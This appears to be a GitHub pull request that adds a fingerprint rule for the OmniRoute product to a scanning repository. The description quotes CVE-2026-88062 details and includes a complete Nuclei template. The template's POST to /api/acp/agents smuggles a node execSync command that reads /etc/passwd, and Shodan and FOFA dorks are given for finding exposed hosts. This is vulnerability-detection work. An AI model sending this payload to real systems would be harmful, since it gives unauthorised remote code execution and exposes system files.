Skip to content

Add HTTP fingerprint rule for OmniRoute - #513

Merged
hexbay merged 1 commit into
mainfrom
finger-omniroute-31973
Oct 15, 2026
Merged

hexbay merged 1 commit into
mainfrom
finger-omniroute-31973

Conversation

@finger-rule-bot

Copy link
Copy Markdown
Contributor

新增 OmniRoute 产品指纹规则(rule name: omniroute, vendor: omniroute)。

证据映射:

  • matcher (part: title, words: ["OmniRoute"]) → dork 原文线索: fofa title="OmniRoute" / shodan http.title:"OmniRoute"

漏洞原文

漏洞信息:

  • CVE: CVE-2026-88062

  • CNVD: None

  • 标题: OmniRoute < 3.8.49 - Unauthenticated RCE

  • 描述: OmniRoute <= 3.8.49 contains a remote code execution caused by insufficient validation of interpreter arguments in the POST /api/acp/agents endpoint, letting remote attackers execute arbitrary code, exploit requires anonymous access when requireLogin is false or management session/API key when true.

  • 受影响: None

  • CPE: None

  • 标签: ['cve', 'cve2026', 'omniroute', 'rce', 'unauth', 'ai', 'vkev']

  • 参考地址: ['https://github.com/diegosouzapw/OmniRoute/security/advisories/GHSA-hf57-cqmx-p4gr', 'https://github.com/fix(security): close the open security advisories for v3.8.50 cheaper-inference/OmniRoute#11028', 'https://nvd.nist.gov/vuln/detail/CVE-2026-88062', 'https://github.com/diegosouzapw/OmniRoute/commit/60829241fd64d0317aa6a0dd8cd7a445a5287fed']

  • 指纹/搜索规则(dork): {"fofa": "title="OmniRoute"", "shodan": "http.title:"OmniRoute""}

  • 相关插件

id: CVE-2026-88062

info:
  name: OmniRoute < 3.8.49 - Unauthenticated RCE
  author: 0x_Akoko
  severity: critical
  description: |
    OmniRoute <= 3.8.49 contains a remote code execution caused by insufficient validation of interpreter arguments in the POST /api/acp/agents endpoint, letting remote attackers execute arbitrary code, exploit requires anonymous access when requireLogin is false or management session/API key when true.
  impact: |
    Remote attackers can execute arbitrary code in the server container, potentially leading to full system compromise.
  remediation: |
    Update to the latest version once a fix is available.
  reference:
    - https://github.com/diegosouzapw/OmniRoute/security/advisories/GHSA-hf57-cqmx-p4gr
    - https://github.com/diegosouzapw/OmniRoute/pull/11028
    - https://nvd.nist.gov/vuln/detail/CVE-2026-88062
  classification:
    cvss-score: 9.5
    cve-id: CVE-2026-88062
    epss-score: 0.01424
    epss-percentile: 0.71865
    cwe-id: CWE-94,CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: omniroute
    product: omniroute
    shodan-query: http.title:"OmniRoute"
    fofa-query: title="OmniRoute"
  tags: cve,cve2026,omniroute,rce,unauth,ai,vkev

variables:
  agentid: "{{rand_base(8, 'acfhjnprx')}}"
  agentname: "{{rand_base(8, 'acfhjnprx')}}"
  alias: "{{rand_base(8, 'acfhjnprx')}}"

http:
  - raw:
      - |
        POST /api/acp/agents HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"id":"{{agentid}}","name":"{{agentname}}","binary":"node","versionCommand":"node -e \"process.stdout.write(require('child_process').execSync('cat /etc/passwd').toString())\"","providerAlias":"{{alias}}","spawnArgs":[],"protocol":"stdio","version":"","installed":true,"isCustom":true}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'regex("root:.*:0:0:", body)'
        condition: and
# digest: 4b0a00483046022100bc3a84d9e8b9a619cc3207dab713ce3a52f847e81e3525d61eafff19b5f0d672022100e8f7474012539cefb37640c65e3ad2b9e4cb03496aa92c0ded52579ec1ef5e69:922c64590222798bb761d5b6d8e72950

@hexbay
hexbay merged commit c76f35a into main Oct 15, 2026
1 check passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant